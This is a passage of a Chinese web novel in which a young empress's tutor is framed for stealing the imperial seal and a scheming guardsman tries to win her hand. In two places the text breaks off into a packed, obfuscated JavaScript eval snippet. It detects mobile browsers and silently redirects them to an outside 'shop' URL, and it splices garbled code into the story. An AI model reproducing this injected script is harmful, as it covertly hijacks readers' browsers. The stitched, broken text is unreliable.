季元初站在禁卫军里,好像被她当众和程莫玄表白的事儿激得一脸黑线。 永安冲他吐了吐舌头,放下酒杯,又挽起程莫玄的胳膊,去找小老师闹了。 季元初:行,你厉害。 这天晚上,赫连明月喝了很多酒,说是要不醉不归。 临走的时候,她拍了拍永安的肩膀:“小丫头,你选的男人不错哦。” 永安雀跃地欢呼起来:“真的嘛!” 赫连明月肯定地竖起了大拇指,醉醺醺地凑到她耳边轻轻问:“本王出的那些题,是他帮你答的吧?” 永安也不否认,笑得贼嘻嘻的:“女王看出来了?” 赫连明月翻身上马,低头打趣她:“本王活了几十年,什么人什么本事,一眼就能看出来。” “你啊,真是捡到宝了。要是今夜把你拐去北戎,你的小郎君肯定要急死了。” 永安仰起头,叉着腰嘟着嘴:“女王真坏!朕才不会跟你走呢!” 赫连明月哈哈大笑,扬起马鞭,在空中重重一挥:“那本王就先走了。下次来草原,本王请你喝酒。” 骏马疾驰而去,身后跟着浩浩荡荡的使团队伍。 永安站在城门口,就这样注视着他们消失在夜色中。 程莫玄拄着拐杖,慢慢走到她身边:“陛下,外面冷,回去吧。” 永安“嘿嘿”两声,踮起脚尖,在他脸上亲了一下。 程莫玄捂着脸:“永安总是偷袭臣。” 永安笑眯眯地挽住他的胳膊:“小老师,今天谢谢你。” 程莫玄也不敢松开,就这样呆呆地挽着她:“陛下不必谢臣……” “不许,要谢~”永安直接抱住他的胳膊,“谢你让朕在那么多人面前长脸。” “陛下本来就很聪明。” 永安得了夸,立马就开启了卖乖模式:“你说什么~” 程莫玄不说话了。 “小老师,再说一遍嘛~你刚才是不是夸朕了!” “哎呀,会夸就多夸几句嘛!” 程莫玄假装没听见,往前走了几步。 永安不依不饶,追着看他的脸,还想要再亲一口。 月光下,两个人你追我躲,就这样,欢欢喜喜,又过一天。 14. 更大的麻烦 一波未平,一波又起。 季元初最近风头极盛。 自打北戎女王离开后,他在禁卫军里表现得格外卖力。操练最早到,执勤最认真,巡夜呢,也是最勤快的。 陆洵一向欣赏武夫,看在眼里,记在心里,多次在永安面前夸他。 “陛下,季元初这小子,是个可造之材啊。” 永安心不在焉地点点头。 其实她正好在忙着呢,程莫玄今日在礼部当值,她得算好时辰去偶遇小老师。 陆洵继续说:“臣以为,可以提拔他做禁卫军副统领。” 永安随意地“哦”了一声:“行啊,你看着办呗。” 陆洵心里是一阵翻江倒海:“陛下,您能不能认真听臣说话?” 一般来讲永安会听的,可这会儿不能,她满脑子都是小老师。 “哎呀,陆尚书,朕肚子痛——哎呦——” 说罢,就一溜烟消失了。 季元初升职的消息传开后,来找永安的次数也变多了。 他开始频繁在御花园偶遇永安,手里总是捧着一束品种不凡的奇花。 “陛下,臣见您每日给程侍郎送花,想着您应该也喜欢花。这是臣今早特意摘的。” 说着,就捧着花,小心翼翼地递给了永安。 永安接过花,看了一眼,又还给他:“朕不喜欢花。” 季元初不解:“那您为什么每天往礼部送呢?” 永安笑嘻嘻的:“因为小老师喜欢啊。” 季元初:“这样啊……” 次日,他又来了,这回带的是点心。 “陛下,臣听说御膳房的点心不错,特意让人做了一份新的,尝尝试试?” 永安接过来,咬了一口,然后放下了:“嗯,还行。朕一会儿带给小老师尝尝~” 季元初气得上气不接下气来。 怎么什么事都要带上这个程莫玄! 第三天,他换了个路子,带了一只小猫来。 “陛下,臣看您喜欢年糕,特意找了一只差不多的,您看看喜不喜欢?” 永安摸了摸小猫的头,又眯着眼看了看他:“季元初,你是不是闲得慌啊。要不朕给你加点工作量呢?” 季元初:“不要。” 永安头也不回地走了,徒留季元初孤单一人在原地黯然神伤。 永安虽然摸不着头脑,季元初为什么平白无故地对她示好,可也没能想到更大的麻烦还在后头。 这日一早,永安还在睡梦中就被疏月摇醒了:“陛下!不好了!出大事了!” 永安迷迷糊糊地睁开眼:“疏月姐姐,朕还没睡够呢~到底怎么了?” 疏月脸色惨白,连连叩首道:“宫里失窃了!” 永安揉了揉眼睛,显然还没搞清楚状况:“什么东西丢了?” 疏月吞吞吐吐:“御书房里的几份密折消失不见了!还有您的玉玺……” 永安脸色大变! 偷走了御书房的密折还有大昭的玉玺,这可不是闹着玩的!说不定有人打算偷偷针对她!想要篡权夺位! 她匆匆梳洗完毕,一路小跑着赶到了御书房的门口。 现场已经被禁军围了起来。 陆洵站在门口,脸色凝重。季元初站在他身侧,见她来了,笑着打了个招呼:“陛下~” 陆洵神色不太好看,示意他闭嘴。 永安走进屋内,发现书架被翻得乱七八糟,抽屉大大敞开着,地上散落着几份奏折。放玉玺的匣子空空如也。 她扭头瞪向陆洵:“查出来是谁干的吗?” 陆洵从袖中取出一物,躬身答道:“陛下,这是在现场找到的。” 永安接过来一看,发现这是一块玉佩。 玉佩成色普通,呈青玉色,边角有些磨损。上面简简单单就刻了一个字: “程”。 永安当然认得这块玉佩,此物是程莫玄的贴身之物,他一直随身带着。 “不可能。”她一脸难以置信,失口帮程莫玄否认道,“一定是你们搞错了。” 陆洵叹了口气:“陛下,臣等也不愿相信。但证据确凿,程侍郎的确是最具嫌疑的人选。” “朕说了,不可能是他!” “他为什么要偷那些东西?你来说说看,程侍郎整日随朕左右,能有什么动机?” 陆洵想了半天:“有没有可能是程侍郎想要掌控陛下,借机上位?” 永安摇了摇头:“他若是真想这么做,有的是机会呢,何必隐忍到今日?” 这时候季元初插了句嘴:“陛下,臣斗胆想要说一句。” “你说吧。”永安没什么表情。 “程侍郎虽是礼部侍郎,抚育陛下有功,但毕竟出身程家。程老将军战死沙场,凝妃又不得善终,程侍郎心里怎么想的,外人不得而知。” 永安的脸瞬间沉了下来:“你什么意思?你是觉得小老师对朕有怨?” 季元初也不顾她脸色,接着往下说着:“臣只是觉得,陛下应当查清楚。若程侍郎真是冤枉的,也好还他一个清白。” “季元初,朕记得你刚入禁卫军的时候,说过要效忠于朕。” “臣自然记得,是陛下给了臣第二次新生。” 他答得倒是自如,不卑不亢。 “那就记住你说过的话,倘若此事和你有关,朕一定不会饶了你!” 说罢,也不看他就大步往外走,唤来疏月吩咐道:“传朕旨意,封锁消息,任何人不得外传。把程莫玄带过来,朕要亲自审问!” 说是亲自审问,其实就是把程莫玄叫到御书房,关上门和他单独说说话。 程莫玄就这样被两个禁军抬进了御书房。 他压根就不知道发生了什么,只知禁军突然闯进礼部,说他是个窃贼,要带他去审讯。 小老师清清白白,从未想过会遭遇这种诬陷,又想着清者自清,就干脆跟他们走了。 见到永安时,心里才稍微安定了些。 “陛下,究竟发生了什么事?”程莫玄率先开口。 “小老师,你的玉佩呢?” 程莫玄伸手就去摸腰间,却发现腰间空空如也。 他的脸色瞬间就变了。 “臣的玉佩……属实不见了。” 永安将手中的玉佩递给他看。 程莫玄接过来,仔细看了看,点点头:“这块的确是臣的,陛下在哪里找到的?” 永安咬了咬嘴唇,小声道:“御书房。” 程莫玄沉默了,一言不发。 他腿脚不便,怎会做出这种事,永安知道,他定是被人刻意栽赃诬陷的。 她比任何人都清楚,小老师品性清正,不会做出这种事。 可证据摆在面前,即便她身为天子,也护不住他。 良久,永安才斟酌着开口:“小老师,有人要陷害你。” 程莫玄垂着头,好一会儿才开口:“臣明白。” 永安终于撑不住了,两眼一酸,泪水滚了下来。 “朕知道不是你!他们偏偏要把祸水往你身上引!” 程莫玄伸手,轻轻拭去她脸上的泪。看见她急得掉眼泪,他如何能不心疼。 “陛下,不要哭了。哭花了脸就不漂亮了——” 他手忙脚乱地劝着,永安却哭得更凶。 “不漂亮就不漂亮!朕不想让小老师整日受委屈!” 程莫玄撑着不便的腿脚,慢慢地走过去,拍了拍她的肩膀。 “没关系,永安。臣愿意接受调查,等真相水落石出的那一天。” 永安摇头:“不行!朕不放心!” 程莫玄声音轻轻的:“这样对陛下最好。若臣留在外面,那些人会一直找陛下的错处。若臣暂时离开,他们就没话说了。” 永安一下子就止住了眼泪。 都到了这种时候,他还在为她着想。 永安一把抱住他,把脸埋在他胸口。 “小老师……对不起……朕没保护好你……” 程莫玄轻轻拍着她的背,像小时候哄她一样。 “没事的,永安,会过去的。” 程莫玄被暂时关押在天牢里。 临走的时候,他蓦然回首,从容地看向永安。 “陛下,关于年糕……” 永安的语气郑重了起来:“朕会照顾它的。” 程莫玄却摇摇头:“年糕认生,换了地方不吃东西。臣能不能带上它?” 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小猫不知道发生了什么,只知道主人这几天一直待在这个小屋子里,出不去了。但它也不在乎,只要主人在它身边就好。 它窝在他怀里,舔着他的手指,发出咕噜咕噜的声音。 程莫玄低头看着它,轻轻摸了摸它的脑袋。 “年糕,你说,小永安现在在做什么?” 年糕“喵”了一声,程莫玄笑弯了嘴角。 一人一猫就这样相依相偎了许久,再抬头时,看见季元初站在门口。 “你来做什么?” 季元初穿着禁卫军的官服,腰悬长剑,长发高高束起,神情是少年人的恣意。 他居高临下地看着程莫玄,嘴角漾开了一丝笑意。 “程侍郎,在这里待得还习惯吗?” 程莫玄不语,继续为手中的年糕顺毛。 季元初走进来,在他面前蹲下,隔着栏杆盯着他怀里的年糕。 “小猫倒是挺乖。”他伸出手想摸,年糕“哈”了一声,龇牙咧嘴地瞪着他。 季元初收回手,笑了笑:“程侍郎,有些话啊,想单独跟你说说。” “你说吧。” 季元初这才收起笑容,程莫玄见他变脸这么快,只觉此人假惺惺的。 “你知道外面现在怎么说你吗?说你是奸细,因被抢亲一事爱生恨,要害陛下。陛下再怎么护着你,也堵不住悠悠众口啊。” 程莫玄只是吐出四字:“清者自清。” 季元初哈哈大笑,随机摇了摇头:“程侍郎啊,你可真是天真。你有没有想过,也许你真的配不上陛下呢?” 这句话恰好说中了程莫玄的痛点,平静无波的面上总算染上了淡淡怒意。 季元初看着他的反应,笑得更深了。 “陛下是什么人?是当朝天子,九五之尊。你呢?是个断了腿的残废,现在沦为了阶下囚。” “你凭什么站在她身边?” “就凭你这张脸么。不错,是有几分姿色,远观仙姿玉貌,乍一看,跟个女人似的!” 程莫玄的脸色白了,手不自觉抚上了自己的容颜。 是不够阳刚吗…… 年糕察觉到主人的情绪,冲着季元初又尖又厉地“喵”了一声,还伸出小肉垫想要挠他。 季元初站起身来,最后同他攀谈几句:“程侍郎,我要是你,就主动离开为好。这样对陛下好,对你自己也好。” “这件事呢,你若是及时放弃陛下,也是能解决的。元初期待你的表现。” “所以盗窃玉玺之事果然和你有关!” 程莫玄怒斥着开口,季元初却不再给他说话的机会,转身就走,三两步消失在门口。 牢房里,只剩下了程莫玄一个人。 他抱着年糕,坐了很久很久。 小猫一开始还会蹭蹭他的下巴,试图和他互动,可过了一会儿,还是禁不住睡意,睡着了。 他终于低下了头,把脸藏在年糕柔软的毛里,就这样一人一猫相依相偎地睡了过去。 15. 君臣有别,师徒亦是 次日,程莫玄仔细思虑后,答应了季元初的要求。 他承诺离开京城,回京郊的乡下去度过余生,不再回来了。 季元初满意地点了点头:“那便烦请程侍郎签署返乡信罢。” 天亮之时,他在狱卒们的督促下写了一封信,托人转交给永安。 信上只有短短几个字:“臣请辞官归乡,望陛下恩准。保重。” 信既签署完毕,玉玺失窃案也就光速地结了: 某个小太监在狱中畏罪自杀,留下认罪书,说东西是他偷的,想拿去换钱。玉玺已经找回来了,密折也原封未动。 案子就这样不了了之。 永安这些日子本就劳心费神,早朝时也有心无力,收到了这样一封信,更是雪上加霜。 “什么!小老师要辞官?谁准的!” 还在滔滔不绝地汇报着事务的群臣纷纷闭了嘴,等待小陛下说完。 永安把信纸揉成一团,扔在地上,光速处理完余下事务后,转身就往外跑。 她跑到天牢,程莫玄已经不在了。据狱卒说,他一早就办了手续,带着猫走了。 “可有人逼他?快说!不然朕杀了你!”永安气得甚至想要拔刀相向,哪怕她摸遍了全身,也摸不出来半个刀片。 狱卒从未见过这样的小陛下,瑟瑟发抖道:“没有……程侍郎自己走的!陛下明鉴啊!” 永安穿着厚重的朝服就追出了城,气喘吁吁地驾着马追了十几里,终于在官道上看见拄着杖的熟悉的身影。 他走得极慢,年糕悠然地趴在他肩头,尾巴一甩一甩的。 一旁还站着一些礼部的官员,都是这些日子程莫玄攒人品,结识的部分同僚。 周老尚书也不例外,这些日子相处下来,他倒觉得程侍郎颇有才学,行事也颇为沉稳。尤其是在守城和应对北戎女王这两件事后,更是对他刮目相看。 老尚书心里暗自觉得,相较于其他官员,程莫玄更适合继承他礼部尚书一位。 他本想过些日子就像永安举荐呢,不曾想,程莫玄就这样辞官了。 永安跳下马,跑过去,一把拽住他的袖子。 “程莫玄!你到底什么意思!怎么连声招呼都不打就离朕而去了!” 程莫玄回过头,其实,他已料到了永安会追过来。只见小陛下的眼眶红红的,头发跑散了,脸上也全是汗。 他心里一疼,却还是轻轻地抽回了袖子。 “陛下,请恕臣不能再留在你身边了。” 永安急得抱住了他的另一条未断的大腿,也顾不上礼节,就这样哀嚎着:“朕不准你走!你回来啊!” “臣配不上陛下。臣留在这里,只会给陛下添麻烦。” 小老师好像真的下定了决心,眼神冷冷的,动作也毫不拖泥带水,就这样轻轻拨开了永安的手。 他伫立片刻,又弯下腰把年糕放在地上。小猫甫一落地,发出“喵喵”的声响,不解地望着他。 “年糕,回陛下那里去。” 年糕“喵”了一声,看看他,又看看永安,站在原地不动了。 “失礼了,陛下。” 说罢,程莫玄拄着拐杖,就继续往前走了。 年糕追了上去,喵喵咪咪地跟随着他。 见小猫笨拙地迈着小短腿“哼哧哼哧”地追着,程莫玄还是心一软,将它放在了肩头。 永安想追,腿却像灌了铅。哎呦,一路策马奔腾而来,实在是追不上了。 彻底燃尽了……小老师朕恨你…… 见他越走越远,永安死死憋着哭腔,忍不住大喊着:“小老师!你到底心里有没有永安啊——!” 程莫玄当然是有的,他只是需要时间去消化,去辨清,自己到底对永安是怎样的感情。 君臣有别,师徒亦是。 就凭着她是他养大的这一点,他就不敢对她生出任何超越的男女之情。 在他的观念中,这是一道不可逾越的鸿沟。 尽管永安是勇敢的,他还是怯弱了。 程莫玄假装听不见,他清清楚楚,每一次永安凑上来时,都可耻地心动了。她的眼泪,更是让他如同万箭穿心般疼痛。 在周延的百般劝诫下,永安还是气冲冲地回到了行宫内。 御书房里,永安仔细地阅读着小太监写的认罪书,根本就不信这个邪。 “畏罪自尽?真巧啊~为什么刚自尽,小老师就被逼走了?” 周延站在一旁,叹了口气:“陛下,程侍郎的嫌疑洗清了,这是好事。” 永安一听这话,火气更大了:“他人都走了!这算什么好事!” “陛下,臣斗胆说一句。” 周延捋了捋胡子,慢悠悠地说:“依老臣看啊,程侍郎离开未必是坏事啊。” “莫要故作玄虚!”永安气鼓鼓的,“你说说看,这是什么意思?” “陛下,您仔细想想,这幕后的人,为什么要陷害程侍郎?” 永安沉默不语。 见永安气性消了不少,周延继续说:“满朝文武皆知,程侍郎乃是陛下心尖上的人。此人是想借程侍郎打击陛下,想借程侍郎控制陛下。程侍郎若留在昭京,他还会继续动手。现在他走了,这幕后者反倒放松了警惕。” 永安的眼睛渐渐亮起来,是啊,针对小老师,怕不是针对她来的! 联想起近些日子季元初对她突如其来的殷勤,小陛下心思一转,隐隐觉得有些不对劲。 “嗯……老尚书,经你这么一提点,朕倒是觉得近些日子季元初有些反常。” 周延长舒了一口气,拱了拱手:“此人乃陛下特赦,极有可能贼心不死。先是假意投靠,后借机喧宾夺主,通过程莫玄来控制您,陛下务必小心!” “周老头,你倒是挺聪明。” 周延嘿嘿一笑:“臣在官场混了几十年,这点眼力还是有的。” “小老师,你等着。朕一定会查清楚,还你一个公道。” 江芷柔最近过得很不好。 嫁给柳清河之后,她才明白什么叫相敬如“冰”,嗯,冰块的冰。 柳清河对她客客气气的,但从不亲昵,态度如同对待过客。分明是青梅竹马看着一起长大的,他却每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484577|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天早出晚归,回来就钻进书房,连话都不跟她说几句。 婆婆也是闲不住,天天嫌她生不出孩子,每日指桑骂槐。 她有时候会后悔,心里也隐隐有怨,这些日子的委屈让她彻夜难眠。 要是当初嫁给程莫玄,会不会不一样呢? 一日,她在街上买东西,迎面碰上一个禁卫打扮的少年。 少年一见她,便眼睛一亮,行礼道:“江姑娘?不对,该叫江夫人了。” 江芷柔满脸困惑,讶异道:“你是何人?为何知我明姓?” 季元初则故作无奈地摊摊手:“江夫人被陛下抢亲一事,闹得全城尽知。这会儿嫁给了心上人,过得可还称心?” 这一番话恰好说到了心坎上,闻言,江芷柔立即变了脸:“住嘴!你休要落井下石。本夫人的家中规制,岂是尔能议论的?” “得罪夫人了。”季元初见有所见效,故意刺激道:“小的听说程侍郎最近也过得不太好。据说因被人诬陷偷了陛下的玉玺,为自证清白,被迫辞官,一个人孤零零地回乡下去了。” 江芷柔攥着衣襟,神色显然松动了不少。 季元初见状,意味深长地暗示道:“江夫人,你有没有想过,若是你从一开始便嫁给了程莫玄,也许会过得不错?” “自是想过,可这是陛下的旨意。我江家人据理力争,也无济于事……” 苦水说着说着,情绪就占了上风。江芷柔说得越来越小声,眼眶一酸,就要落下泪来。 见她被戳中了伤心事,季元初连忙递给她一方手帕,劝慰道:“夫人,程侍郎现在正是最孤独的时候,身边连个说话的人都没有。若是有人能去陪陪他,指不定还能挽回他的心,日后找个机会和柳清河和离,再与程莫玄续旧缘便是?” “哎呀,也罢。当我没说。江夫人是有夫之妇,怎么能想这些呢?” 说完,他作势就要走。 江芷柔站在原地小声啜泣着,也没去追,心里翻江倒海。 想着想着,她失魂落魄地回到了柳府,一夜没睡。 永安派出去的人,很快就带回了一些密报。 季元初最近很活跃,在禁卫军里拉帮结派,笼络了不少人。他还经常出入茶楼酒肆,和一些不明身份的人时常见面,此外,有人查到,他居然去见了江芷柔。 永安听完汇报,瞬间明白了不少,冷笑一声:“果然是他在搞鬼。” 疏月替她编了发,站在一旁小心翼翼地问:“陛下,要不要抓他?” 永安摇摇头:“不急,莫要打草惊蛇。朕倒要看看,他还能玩出什么花样来。” “疏月姐姐,小老师那边,派人保护了吗?” “派了最机灵的暗卫,日夜守着呢。一有动静,务必会回报陛下。” 永安走到窗外,望着茫茫的天空,也望不见心上人的身影。 “小老师,你一定要好好的。” 远处的天边有一朵云慢慢飘过,像一只小猫的形状,永安立马就想到了年糕。 若是小老师还在,年糕也还在,大家一块儿其乐融融,该多好呢…… 16. 小老师守男德诶! 程莫玄一走,季元初的小心思就藏不住了。 他想立即踢掉程莫玄,成为永安的皇夫,然而这事儿急不得,还得让朝臣们信服才是。 于是他继续在禁卫军里各种收买人心,结交朝中大臣,此外,还打算从江芷柔这边入手,等着她去找程莫玄,进一步挑拨离间。 这些日子他不断在江芷柔耳畔吹着风,加重她的愤懑,还不忘告知程莫玄落脚的地方,方便她直接前去寻他。 依照季元初的计划,恰好路过的闲人们会将“陛下强拆鸳鸯侣,江夫人千里寻夫”的故事传遍京城,到时候,永安就算再喜欢程莫玄,也架不住这顶帽子。 季元初想着这一手好算盘,得意地笑了笑。 可他足足等了许久,也没等到江芷柔这边的好消息,派人去打听一问,结果格外不妙。 江芷柔确实去了,但程莫玄连门都没让她进。 不久前,江芷柔坐了整整一天的马车,一路颠簸,终于到了程莫玄落脚的村子。 此处乃是昭京城外的一个小村庄,依山傍水,是片适合康养的风水宝地。 程莫玄租了一间小院,院里种了枣树,树下葬着往昔日子永安送的花。 这些花早就蔫了,他却还留着。零落成泥又如何,也可以聊以慰藉。 江芷柔穿得素净,未施粉黛,默默地站在院门口。她理了理衣裳,还不忘敲了敲门。 见无人回应,她便又敲了敲。 还是无人回应。 推开门走进去一看,恰能看见程莫玄抱着年糕坐在井边,望着树下已然干枯的花泥发呆。 “程公子。” 程莫玄回过头,见到来人,略略有些吃惊。 “江夫人?你为何在此处?” 江芷柔哽咽着,走近几步,在他身旁的石凳上坐下,眼眶已经红了。 “程公子,唉。老实说,我在柳家过得不好。” 程莫玄不语,摸了摸年糕的头,思索着这一番话。 “柳清河他心里根本就没有我,婆婆天天骂我,说我是被陛下退过亲的,不吉利。我好后悔……” 她说着说着,就哭得急了,扑过去,想要抱住程莫玄。 年糕被这位陌生人吓了一大跳,浑身的毛都炸了,“喵”地一声跳起来,冲她龇牙咧嘴。 程莫玄侧身避开,拄着拐杖慢慢站了起来,退后拉开了距离。 “江夫人,请你自重。” 江芷柔哭得更加委屈:“程公子,你我本该是夫妻,为何要如此生疏?” 程莫玄就这样抱着猫静静站着,直到她情绪稍缓,才淡淡开口:“江夫人,当初的婚事,是程某和陛下对不住你。陛下固然做的有些不对,后来你们江家闹到朝堂上,陛下说要将你许给柳清河,你也是愿意的。” “嫁给柳清河,是夫人自己的选择。过得不好,也是夫人自己的事。程某帮不了你。” 江芷柔的眼泪流得更凶了:“可是若不是陛下抢亲,我本可以嫁给你的!我本可以不用受这些苦的!” 程莫玄摇了摇头:“江夫人,就算没有陛下,程某娶你,你也不会幸福。” “何出此言?”江芷柔显然不信,她已经毫不顾忌自己的形象,哭着追问道,“可那时你都已经答应娶我了!” 程莫玄淡淡答道:“程某心里,从来只有一个人。” “从前是她,现在是她,将来也是她。” “当初迎娶江姑娘,也是程某答应了江老太爷,欠了他一个人情。” “此事既被陛下搅局,程某也无济于事。” 此言一出,江芷柔若同被抽空了所有力气般,失望地立在原地。 年糕“喵”地一声跳了下来,蹭了蹭程莫玄的腿,程莫玄缓缓蹲下身,摸了摸它的脑袋。 “江夫人,请回吧。” 江芷柔就这样不甘心地走出了小院,一步三回头,多么希望程莫玄能叫住她,可程莫玄却只是沉默地逗着小猫。 她也无法再去纠缠,只得放手离去:“看来程公子是心里真没我了。” 走到村口的时候,有人叫住了她。 “江夫人,请留步。” 她回眸一瞧,看见个穿着寻常布衣的男子。那人冲她笑了笑,递过来一封信:“有人托我将此物带给夫人。” 江芷柔接过信,打开一看,脸色瞬间变了。 信上只有一句话:“夫人若想摆脱现在的生活,明日午时,城东茶楼一见。季某恭候大驾。” 永安最近也很忙。 每日上朝,政务颇为繁琐,她还得派好几个人去人盯着季元初。 暗卫每天都有消息传回来:季元初见了谁,说了什么话,去了什么地方,一清二楚。 永安看着那些密报,冷笑连连:“这小子还真是闲不住。” 疏月给永安塞了个苹果,小心翼翼地问道:“陛下,他约江芷柔见面,咱们要不要拦着呢?” 永安接过苹果,嚼的很香:“不用,让他见呗。” “让他跳呗。跳得越高,把柄也就越多,摔得越狠。” 疏月恍然大悟:“陛下长大了。” 永安撇撇嘴,眨了眨眼:“小老师那边呢?有消息吗~” 疏月点点头:“据暗卫回报,程先生一切都好。前几天江芷柔去找过他,被他拒绝了。” 永安的心情瞬间好了不少,小老师还真是守男德啊。 “姐姐你说~他怎么拒绝的?” 疏月小声说:“程先生说,他心里从来只有一个人,从前是她,现在是她,将来也是她。奴婢猜,说的就是陛下吧。” 永安听了这一番话,手里又甜又脆的苹果也不香了,满脑子都是小老师的话,甜滋滋的。 “小老师,原来你也会说这种话啊。既然会说!为什么不多说点!” 疏月见她可爱,忍不住也跟着笑了。 “陛下,您不生气了吧?” 永安哼了一声,将苹果啃完,故作气恼道:“谁说的?朕还气着呢。等他回来,朕要好好审审他,问他为什么说走就走,连个招呼都不打。” 疏月抿嘴一笑:“那陛下可得想好怎么审。” 永安抱起手臂,认真思考起来。 “嗯……先亲一下,再打一下。亲够了再打,打疼了再亲。循环往复,直到他求饶为止。” 说罢讪讪一笑,挠了挠头,脸已经红了个透。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484578|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 午时,城东茶楼。 季元初懒散地坐在二楼雅间,把玩着肩头的一缕碎发,窗外街景明净,他的心情也很不错。 他已经想好了,等江芷柔来了要怎么劝她。 先让她承认自己过得不好,再把责任推到永安抢亲一事上,最后怂恿她去告御状。 只要她一闹,永安的名声就毁了,天下人尽知江家小姐被欺负到了什么地步。 届时,他再站出来主持公道,哼哼…… “季公子。” 江芷柔果真前来赴约了。 季元初回过神来,笑得一脸真诚:“江夫人,请坐。” 江芷柔面色憔悴地在他对面坐下,低着头,缄默不语。 季元初叹了口气,为她倒了杯茶。 “听说夫人去找过程侍郎了?如何?” 江芷柔满脸委屈:“程侍郎并不待见我。” 季元初见状,见缝插针道“程侍郎这个人啊,太死心眼了。被陛下这么一抢亲,心里便换了个人装着了。若是起初便是江夫人与他成亲,岂不是另一番佳话了?” 说罢,他意味深长地看着江芷柔。 “江夫人,你有没有想过,若是当初没有陛下插手,你便不会落得今日凄惨的地步?” “够了。”江芷柔却不愿再听,“季公子,我一直想不明白,你同我说这些话,究竟是为了什么?” “天下没有免费的午餐,我倒是觉得,季公子只是在利用我。” 季元初的笑容僵住了,故作为难:“季某只是想让江夫人过得顺心些。” 江芷柔并不买账:“你让我去找程莫玄,是想闹得满城皆知。约我来此处,不过是想让我去告御状,将陛下陷入不仁不义的地步,只得和程公子分开。” “你做这些,倒底在图谋什么?芷柔不知,但芷柔为人正直。季公子,我江芷柔虽然过得不好,但还没有蠢到被人当枪使的地步。” 她从袖中取出季元初的信,挑眉道:“这封信我会交给陛下,你想做什么,陛下自会查清楚的。” 说罢,她转身就走,徒留季元初面色铁青地坐在原地。 永安吃着疏月准备的点心呢,这可是昭京城坊市内近日最有名气的小酥饼,吃的她满嘴酥香。 江芷柔派人送来了密信,密信内容简单,无非就是季元初邀约她的证据。 “疏月姐姐,你说江夫人是不是还挺有意思的~朕本以为她对朕心生愤懑,会一直记恨着朕,没想到她还蛮明事理,甚好甚好。” 疏月点点头:“奴婢也觉得江姑娘是个明白人。” 永安让疏月把信仔细收好,生怕信上沾了满手的油渍:“看来,季元初要坐不住了。” “陛下,接下来怎么办?” “接下来啊,就等着看好戏吧~” 永安吃好喝好,都说饱暖思淫欲,她又有点惦记着小老师了。她想窝在小老师的怀中,就像大婚那日一齐软倒在被窝里,再一层一层拨开他单薄的衣襟…… 不知道他现在在做什么,有没有想她呢。 唉,不想了。 等收拾完季元初,她就亲自去接他。 到时候,看他往哪儿跑! 17. 武状元风波 江芷柔走后,季元初一杯接一杯地喝着闷茶,直到壶里的水见了底。 “啧,居然没能奏效。” 杯壁上映着他的影子,只见少年长眉入鬓,发髻高挽,生得英气十足。看来看去,都对自己颇为满意。 “这不比程莫玄那个娘兮兮的残废帅气多了!” 江芷柔这条路走不通,他留了个后手。 数月后,昭京举行了三年一度的武举大比。 此武举乃是大昭最重要的选拔武将的盛事,来自各州府的武举人将齐聚京城,在演武场上角逐武状元的头衔。 永安穿着最隆重的朝服,坐于软座之上,冕冠叮叮当当地垂在眼前,遮住了她的面容。 当今天子并不对这场武举抱有什么期望,她心里清楚的很,此次武举的主角究竟是谁。 “看来季某人要秀翻天了。” 第一场,考的是步射。 季元初挽弓搭箭,弓如满月,箭似流星。十箭连发,箭箭正中靶心。 全场哗然,皆呼少年武艺了得。 第二场,骑射。 只见季元初策马奔腾,在马背上翻身射箭,身姿矫健,一气呵成。九箭九中,最后一箭更是射穿了靶心。 喝彩声震天响,有人已经开始偷偷议论这少年有为将的风采。 只有永安冷冷一笑:“呵,不过如此。武艺再怎么了得,当时攻城,还不是败给了小老师的智谋。” 疏月:“陛下,莫要和他计较……” 永安嘟嘟囔囔:“谁和他计较了!朕只是觉得,再怎样耍帅也入不了朕的法眼而已。” 第三场,兵器。 但见季元初手持长枪,连败三名来自各州府最强大的对手,枪法凌厉,招招制敌。最后一个对手也被他挑落马下,全场沸腾。 “季元初少年有为,有万人敌之风范啊!” 三场全胜,众人的赞誉之声不绝于耳。 季元初身着一身英姿飒爽的红衣,翻身下马,单膝跪在高台前,扬着眉头,抱拳行礼道:“陛下,臣且看臣这一手,如何?” 陆洵第一个站出来,爽朗大笑道:“好!好啊!老夫多年没见过这样的少年英杰了!” 说着,便开始为季元初邀功:“陛下,季元初三场全胜,武艺超群,臣以为当封他为武状元,擢升禁军统领!” 他一发话,群臣纷纷附和着: “季公子少年英雄,前途无量!” “此乃我大昭之幸啊!” 只见季元初跪在原地,姿态谦卑,嘴角则扬得极高。 永安将这群人的恭维之辞听得是清清楚楚,眉头都皱成了“川”字。 许久,她才无奈地开口:“准了,季元初听封。” “即日起,封季元初为武状元,擢升禁军副统领,赏金千两,赐宅邸一座。” 季元初笑得贼嘻嘻的,连连叩首:“臣谢陛下隆恩!” 永安却不愿多待,明显失了耐心,正要和疏月起驾回宫时,季元初便又开口了。 “陛下,臣还有一事相求。” 永安咬着牙慢慢坐回龙椅,眯着眼睛,颇为不耐道:“说吧。” 心里则不停嚎叫着:还有没有个头了! 朕想要回宫休息了…… 季元初察觉到她没耐心了,笑得更加灿烂了:“臣斗胆,求陛下赐臣一个恩典。臣愿以余生,侍奉陛下左右。求陛下许臣为皇夫,定能护陛下一生一世。” 一语既出,满堂皆惊。 永安和群臣们都没想到他会当众求娶当今天子! 就连陆洵也想不到,这季元初竟胆大到如此程度,脸上红一阵白一阵的。 